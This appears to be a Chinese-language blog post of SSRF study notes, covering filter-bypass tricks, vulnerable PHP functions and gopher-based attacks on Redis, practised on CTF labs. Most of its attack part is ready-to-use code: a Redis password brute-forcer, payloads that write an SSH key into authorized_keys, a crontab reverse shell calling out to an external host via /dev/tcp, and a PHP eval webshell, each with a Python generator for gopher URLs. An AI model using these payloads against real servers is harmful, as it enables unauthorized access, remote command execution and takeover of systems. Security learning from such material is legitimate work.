SSRF一些知识点

漏洞介绍

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种利用漏洞伪造服务器端发起请求。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

SSRF原理

通过控制功能中的发起请求的服务来当作跳板攻击内网中其他服务。比如,通过控制前台的请求远程地址加载的响应,来让请求数据由远程的URL域名修改为请求本地、或者内网的IP地址及服务,来造成对内网系统的攻击。

v2-255233f06f32600141cb27a411fa1da2_720w

SSRF危害

1.向内部任意主机的任意端口发送payload来攻击内网服务
2.DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
3.攻击内网的web应用,例如直接SQL注入、XSS攻击等
4.利用伪协议读取本地文件、执行命令等

php ssrf中的伪协议:

file dict sftp ldap tftp gopher

Java ssrf 中的伪协议:

file ftp mailto http https jar netdoc

我们一会会重点用到gopher协议,推荐文章阅读:
https://zhuanlan.zhihu.com/p/112055947

SSRF易出现的位置

  • 服务器主动发起网络请求,例如HTTP/HTTPS/Socket
  • 分享功能,通过URL分享网页内容
  • 图片加载、下载功能
  • 邮件系统
  • 数据库内置功能(Oracle、MongoDB,MSSQL,PostgresCouchDB)
  • api远程调用
  • 只要是服务器可以主动发起网络请求便可能出现
  • 文件处理,编码处理,属性信息处理(fpmg,ImageMaic,DOCX,PDF,XML处理器)
  • 从URL关键字中寻找,比如:source,share,link,src,imageurl,target等。

举个例子

0XA 图片加载与下载
通过URL地址加载或下载图片
http://image.xxx.com/image.php?image=http://127.0.0.1
图片加载存在于很多的编辑器中,编辑器上传图片处,有的是加载远程图片到服务器内。还有一些采用了加载远程图片的形式,本地文章加载了设定好的远程图片服务器上的图片地址,如果没对加载的参数做限制可能造成SSRF。

0xB 分享一点猪猪侠前辈 SSRF的一些东西

image-20210817132409839

image-20210817132427198

image-20210817132440435

image-20210817132448979

image-20210817132500042

image-20210817132516489

SSRF绕过

利用[::]

利用[::]绕过localhost
http://[::]:80/  >>>  http://127.0.0.1

利用@

http://example.com@127.0.0.1

利用短地址302跳转

推荐个网站:https://4m.cn/

利用特殊域名

利用的原理是DNS解析

http://127.0.0.1.xip.io/

利用进制转换

这里贴一个PHP脚本

<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo "十进制:";
echo $r;
echo "八进制:";
echo decoct($r);
echo "十六进制:";
echo dechex($r);
?>
127.0.0.1:
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433

利用特殊地址

http://0/
http://[0:0:0:0:0:ffff:127.0.0.1]/

利用句号

127。0。0。1  >>>  127.0.0.1

利用Enclosed alphanumerics

利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

利用上传

也不一定是上传,我也说不清,自己体会 -.-
修改"type=file"为"type=url"
比如:
上传图片处修改上传,将图片文件修改为URL,即可能触发SSRF

DNS重绑定

对于常见的IP限制,后端服务器可能通过下图的流程进行IP过滤:

1608453315_5fdf0cc30da5af624b123

对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。

但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑定攻击。我们利用DNS Rebinding技术,在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即可。

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0,这是为了防止有DNS服务器对解析结果进行缓存。这样就可以进行攻击了,完整的攻击流程为:

  1. 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
  2. 对于获得的IP进行判断,发现为非黑名单IP,则通过验证
  3. 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。

由于我们无法在程序运行时以毫秒为单位手动更改dns记录,因此需要配置一个自定义DNS服务器,并设定好某些域名的解析IP,再将TTL设置为0,这样后端就不会有缓存。我们可以自己编写解析服务,也可以利用这个网站获取一个测试用的域名:https://lock.cmpxchg8b.com/rebinder.html

但是它只能在2个IP之间随机变化,因此往往需要发送多个请求才能得到我想要的结果。

PHP产生漏洞的函数

  • file_get_contents()

  • fsockopen()

  • curl_exec()

file_get_contents函数:

<?php
if(isset($_POST['url']))
{
    $content=file_get_contents($_POST['url']);
    $filename='./images/'.rand().'.img';\
    file_put_contents($filename,$content);
    echo $_POST['url'];
    $img="<img src=\"".$filename."\"/>";
}
echo $img;
?>

以上代码是获取post参数url中的值地址,通过file_get_contents获取url中的图片内容,保存到image目录下,然后显示。
file_get_contents函数使用前需要将php.ini的allow_url_fopen设置为ON。
以上的漏洞代码是存在SSRF漏洞的,可以控制url参数,自定义任意的URL,包括内网的URL

fsockopen函数

<?php
$host=$_GET['url'];
$port=$_GET['port'];
# fsockopen(主机名称,端口号码,错误号的接受变量,错误提示的接受变量,超时时间)
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";
	# fwrite() 函数将内容写入一个打开的文件中。
    fwrite($fp, $out);
	# 函数检测是否已到达文件末尾 ,文件末尾(EOF)
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>

以上函数是接受url和port来制定socket访问的地址和端口,由于地址和端口用户可控,所以可以用来SSRF漏洞的利用。

curl_exec函数

<?php
$url = $_GET['url'];
$curlobj = curl_init($url);
echo curl_exec($curlobj);
?>

curl_exec函数是危害最大的函数,也是需要重点讲的函数。以上代码是获取参数url的值,使用curl进行访问。
curl_exec的使用需要3个条件:
1、PHP版本>=5.3
2、开启extension=php_curl.dll
3、--wite-curlwrappers(编译PHP时用,此时不需要,可忽略)

SSRF+Redis系列

Redis基础

A. 在开始讲攻击Redis之前,必须要理解Redis的客户端和服务端的通信方式,以及数据发送的格式,该目的的实现需要tcpdump的抓包功能。使用抓包软件来查看Redis客户端和Redis服务端的通信数据,找到语法结构后开始模拟客户端发送数据,Redis的基础知识:基础知识

1、使用tcpdump来完成抓包,命令如下:

tcpdump -i eth0 port 6379 -w redis.pcap
参数说明如下:(更多tcpdump的教程,参考[Tcpdump教程](https://www.runoob.com/linux/linux-comm-tcpdump.html))
-i:指定网卡为eth0
port:指定抓哪个端口的数据
-w:将流量包保存为文件

2、使用Redis客户端登录Redis服务端,命令如下(默认无密码):

root@Kali:~/tmp# redis-cli -h 192.168.0.119 -p 6379
192.168.0.119:6379> get a
(nil)
192.168.0.119:6379>

以上命令做了一个获取a对应的值是多少的操作,现在我们使用wireshark看一下抓到的包(使用追踪流-TCP流)

*2
$3
get
$1
a
$-1

如果不理解Redis的数据发送的数据包格式,是看不懂上面内容的,这里必须要讲这么几个内容你也可以查看手册:https://redis.io/topics/protocol
2.1、序列化协议:客户端-服务端之间交互的是序列化后的协议数据。在Redis中,协议数据分为不同的类型,每种类型的数据均以CRLF(\r\n)结束,通过数据的首字符区分类型。
2.2、inline command:这类数据表示Redis命令,首字符为Redis命令的字符,格式为 str1 str2 str3 …。如:exists key1,命令和参数以空格分隔。
2.3、simple string:首字符为'+',后续字符为string的内容,且该string 不能包含'\r'或者'\n'两个字符,最后以'\r\n'结束。如:'+OK\r\n',表示”OK”,这个string数据。
2.4、bulk string:bulk string 首字符为'$',紧跟着的是string数据的长度,'\r\n'后面是内容本身(包含’\r’、’\n’等特殊字符),最后以'\r\n'结束。如:

"$12\r\nhello\r\nworld\r\n"

上面字节串描述了 “hello\r\nworld” 的内容(中间有个换行)。对于" "空串和null,通过'$' 之后的数字进行区分:

"$0\r\n\r\n" 表示空串;
"$-1\r\n" 表示null。

2.5、integer:以 ':' 开头,后面跟着整型内容,最后以'\r\n'结尾。如:":13\r\n",表示13的整数。
2.6、array:以''开头,紧跟着数组的长度,"\r\n" 之后是每个元素的序列化数据。如:"2\r\n+abc\r\n:9\r\n" 表示一个长度为2的数组:["abc", 9]。数组长度为0或 -1分别表示空数组或 null。
数组的元素本身也可以是数组,多级数组是树状结构,采用先序遍历的方式序列化。如:[[1, 2], ["abc"]],序列化为:"2\r\n2\r\n:1\r\n:2\r\n*1\r\n+abc\r\n"。
3、经过上面内容的讲解,在回过头理解抓到的redis的包就很容易明白了。

上面非常多的内容就不放了
*2 数组长度为2
$3 bulk string,代表字符串长度为3,就是get
get 普通字符
$1 bulk string,代表字符串长度为1,就是a
a 普通字符
$-1 返回内容,-1代表null

环境

本次实验采用本机+在线方式,因为反弹shell系统不合适,后面会讲解。

PHP代码:

<?php
    $location=@$_GET['path']; // Get the URL from the user.
    $curl = curl_init();
    curl_setopt ($curl, CURLOPT_URL, $location); // Not validating the input. Trusting the location variable
    curl_exec ($curl); 
    curl_close ($curl);
?>

Redis:
使用为P牛的vulhub里面的redis 版本为4.0.14

SSRF+Redis认证攻击

先设置临时密码,然后我们使用tcpdump抓包

config set requirepass R0ser1 //设置密码
tcpdump -i lo port 6379 -w redis.pcap  //抓包

当我们设置临时密码之后发现查看数据提示我们需要认证,输入密码即可查看

image-20210817001044609

我们查看抓取的流量包

image-20210817001455688

可以翻译为认证命令为auth xxxx

auth xxxx
quit

转化为redis RESP协议格式

%250D%250Aauth%2520R0ser1%250D%250Aquit%250D%250A

image-20210817002341475

我所用的脚本

# -*- coding: utf-8 -*
import urllib.parse
payload =\
"""
auth R0ser1
quit
"""  
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://192.168.0.101:6379/'+'_'+new
result = urllib.parse.quote(result)
print(result)

当然你可以直接通过Python脚本来爆破,看个人习惯

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib.request
from urllib.parse import quote

url = "http://yoursite?url="
gopher = "gopher://yoursite/_"

def get_password():
    f = open("password.txt","r")  #打开密码字典
    return f.readlines()

def encoder_url(data):
    encoder = ""
    for single_char in data:
        # 先转为ASCII
        encoder += str(hex(ord(single_char)))
    encoder = encoder.replace("0x","%").replace("%a","%0d%0a")
    return encoder

for password in get_password():
    # 攻击脚本
    data = """
    auth %s
    quit
    """ % password        #不断的用字典中的密码去替换
    # 二次编码
    encoder = encoder_url(encoder_url(data))
    # 生成payload
    payload = url + quote(gopher,'utf-8') + encoder

    # 发起请求
    request = urllib.request.Request(payload)
    response = urllib.request.urlopen(request).read()
    if response.decode().count("+OK") > 1:  #当返回2个OK时,说明密码被成功找出
        print("find password : " + password)

SSRF+Redis写入公钥

条件:
如果你渗透的环境的Redis的是以root权限运行的,并且.ssh目录存在,我们可以尝试写入~/.ssh/authorized_keys,如果不存在的话,可以使用crontab创建。

首先在自己的电脑生成公钥对,这里未设置ssh密码

ssh-keygen -t rsa

然后构造一下Payload

config set dir /root/.ssh/
config set dbfilename authorized_keys
set margin "\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCz+QMPCBf2MT3+iaklyiRPOyN/IjYDGjNmtawp39X7rgJQ/44FDWGuK9vLJbb23dR2QXYmNtw8SFOFsAXyUaX2GXQW8PJ4PxkoT2z9sEq3YNIPYHsPiNtKQUEGkvSi8LtK7Nsq8JIm46KhKk/wTON5QdB65PQCK/mOYAE5ZQaMsj1e0Zpo32XuMbUmxti1P2KCY0STQ6BfeR4wahJ0YHwWH2BMjUBy9yUT3TPDkaXe0RfMgRs0wRG2F3rTdIIeWaWe43/EIVh42wdzddT7cS1pCzFgtI7eMyT4b5lG8cGHUm7R/8SMU7u2Aax/zx5sFbC2sgm+dygsRjFqFunEsjnd1qZyWXpUEv+NikS1HoJQbXHnQtPm1KqRggMEz8JtCwJIiHZm2m6kdNQ+w5zRmWZx6CuH74JRFvoHBXFFP5CRYK4SC/NxyJupEcxUGareX/VGJ1krMGaF+e9pLCzRKt/MVa7Zb0BqbRa+Xaj6cr4jf72cbuI8JgTCHq0oqhi5OPE= root@newkali\\n\\n"
save
quit

使用Python脚本转化为redis RESP协议格式

# -*- coding: utf-8 -*
import urllib.parse
payload =\
"""
config set dir /root/.ssh/
config set dbfilename authorized_keys
set margin "\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCz+QMPCBf2MT3+iaklyiRPOyN/IjYDGjNmtawp39X7rgJQ/44FDWGuK9vLJbb23dR2QXYmNtw8SFOFsAXyUaX2GXQW8PJ4PxkoT2z9sEq3YNIPYHsPiNtKQUEGkvSi8LtK7Nsq8JIm46KhKk/wTON5QdB65PQCK/mOYAE5ZQaMsj1e0Zpo32XuMbUmxti1P2KCY0STQ6BfeR4wahJ0YHwWH2BMjUBy9yUT3TPDkaXe0RfMgRs0wRG2F3rTdIIeWaWe43/EIVh42wdzddT7cS1pCzFgtI7eMyT4b5lG8cGHUm7R/8SMU7u2Aax/zx5sFbC2sgm+dygsRjFqFunEsjnd1qZyWXpUEv+NikS1HoJQbXHnQtPm1KqRggMEz8JtCwJIiHZm2m6kdNQ+w5zRmWZx6CuH74JRFvoHBXFFP5CRYK4SC/NxyJupEcxUGareX/VGJ1krMGaF+e9pLCzRKt/MVa7Zb0BqbRa+Xaj6cr4jf72cbuI8JgTCHq0oqhi5OPE= root@newkali\\n\\n"
save
quit
"""  
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://192.168.0.101:6379/'+'_'+new
result = urllib.parse.quote(result)
print(result)

通过SSRF来访问

image-20210816235003773

并且我们在目标机器监听我们的命令

redis-cli -h 127.0.0.1  monitor

image-20210816235227619

然后通过我们的主机的私钥无密码访问目标

image-20210816234921410

SSRF+Redis crontab 反弹Shell

本环境采用在线靶机进行操作,靶机地址如下

https://www.root-me.org/en/Capture-The-Flag/CTF-all-the-day/

访问目标地址,如果没有账号,需要创建账号点击右上的绿色小加号来创建账号,创建完成后回到此页面。找到一个处于none的虚拟机,点击房间名,如下的ctf05

image-20210817004255100

进入房间后,选择需要创建的虚拟机,选择SSRF Box,点击保存,选择start the game。
过一段时间的等待后,会显示如下信息

image-20210817004635991

当然,如果在创建虚拟机之前,看到其他的房间有人已经创建了SSRF Box我们也可以加入此玩家的房间,点击房间名,进入房间后点击右上角的Join the game。稍等片刻就可以加入到游戏中,根据提示访问对应的地址就可以开始测试啦。

访问 https://ctf05.root-me.org/ 就可以看到启动的虚拟环境了

image-20210817004805140

这里用burp演示开放则显示OK,不开放则显示Connection refused。

image-20210817005353224

我们的任务是进行反弹SHELL,所以我们需要准备一个公网的VPS,或者穿透。
因为我没有VPS这里选择穿透,推一个网站吧,教程你们自己找一下吧
https://www.ngrok.cc/user.html

image-20210817011727978

然后通过生成payload

set mars "\\n\\n\\n\\n* * * * * root bash -i >& /dev/tcp/free.idcfengye.com/10388 0>&1\\n\\n\\n\\n"
config set dir /var/spool/cron/
config set dbfilename root
save
quit

使用Python脚本转化为redis RESP协议格式

# -*- coding: utf-8 -*
import urllib.parse
payload =\
"""
set mars "\\n\\n\\n\\n* * * * * root bash -i >& /dev/tcp/free.idcfengye.com/10388 0>&1\\n\\n\\n\\n"
config set dir /var/spool/cron/
config set dbfilename root
save
quit
"""  
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:6379/'+'_'+new
result = urllib.parse.quote(result)
print(result)

发送

image-20210817011751209

我们kali这边nc监听

image-20210817012046218

的确是监听到了到有主机反弹但是显示未知,可能是 网络原因。

这里讲一下为什么不用本地测试呢,因为环境问题,我是Ubuntu测试了很多次不行。

这种方法由于权限问题,通常只能在Centos使用,Ubuntu却不行。因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件权限必须是600,否则会报错。而Centos的定时任务执行,权限为644也可以。

Centos的定时任务文件在/var/spool/cron/,另外/etc/crontab这个文件虽然也可以执行定时任务,但是需要root,在高版本的Redis中,默认启动是以Redis权限运行的。

SSRF+Redis WebShell

本环境采用在线靶机进行操作,采用CTHUB的SSRF里面的Redis协议来完成

https://www.ctfhub.com/#/skilltree

这个应用场景存在较多。Redis可以通过config命令向固定路径的文件写入内容,这个功能被利用来向指定文件写入恶意内容,特别是当你的Redis是以root权限运行的情况下,这个危害祸害无穷!

打开环境进行6379探测

image-20210817013251107

ctfhub的网站路径一般是/var/www/html所以构造如下

flushall
set 1 '<?php eval($_POST["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

使用Python脚本转化为redis RESP协议格式

# -*- coding: utf-8 -*
import urllib.parse
payload =\
"""
flushall
set 1 '<?php eval($_POST["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
quit
"""  
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:6379/'+'_'+new
result = urllib.parse.quote(result)
print(result)

image-20210817013732503


题外话介绍了这么多redis介绍一下Redis主机复制Shell

0x01 主机复制
Redis提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
建立主从节点,只需要操作从节点即可,主节点,不需要任何设置。

0x02 模块功能
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。Redis模块是动态库,可以在启动时或使用MODULE LOAD命令加载到Redis中。是不是想到了so注入的操作。
脚本:https://github.com/vulhub/redis-rogue-getshell

0x03 原理
Pavel Toporkov在2018年的zeronights会议上分享了漏洞的原理, PPT如下:
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

大概就是当在两个Redis实例设置主从模式的时候,Redis的主节点实例可以通过FULLRESYNC(全量复制)同步文件到从机上。我们可以在从节点上加载so文件,我们就可以执行拓展的新命令了。

trick

文章如下
https://smarx.com/posts/2020/09/ssrf-to-redis-ctf-solution/
代码大致如下

实战中如果遇到了可以尝试
image
image

CVE-2019-9740 CVE-2019-9947

python中的crlf漏洞
Python 2.x版本至2.7.16版本中的urllib2和Python 3.x版本至3.7.2版本中的urllib存在注入漏洞

paper阅读

https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

https://security.tencent.com/index.php/blog/msg/106

http://www.mi1k7ea.com/2020/03/09/Python-urllib-CRLF注入漏洞小结/#0x04-CVE-2019-9947

https://mp.weixin.qq.com/s?__biz=MzIzOTE1ODczMg==&mid=2247484020&idx=1&sn=06db219408f093c65d252c506ad502df&chksm=e92f16d7de589fc1df6fea9ebba21db9e8f8e76a0db89887b6eb9fa6f07f8c61d34977a6405c&mpshare=1&scene=23&srcid&sharer_sharetime=1591352311515&sharer_shareid=edfac7bd677646ff691b8c20fd81f149%23rd

https://github.com/python/cpython/issues/74643

https://github.com/assetnote/blind-ssrf-chains

参考

https://zhuanlan.zhihu.com/p/113396148
https://xz.aliyun.com/t/6235#toc-0
https://www.freebuf.com/articles/web/258365.html
https://mp.weixin.qq.com/s/Vj24aRbr3P7Pg59HE3SpRQ
//
https://www.freebuf.com/vuls/262047.html
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery

posted @ 2021-08-17 15:55  R0ser1  阅读(851)  评论(0编辑  收藏  举报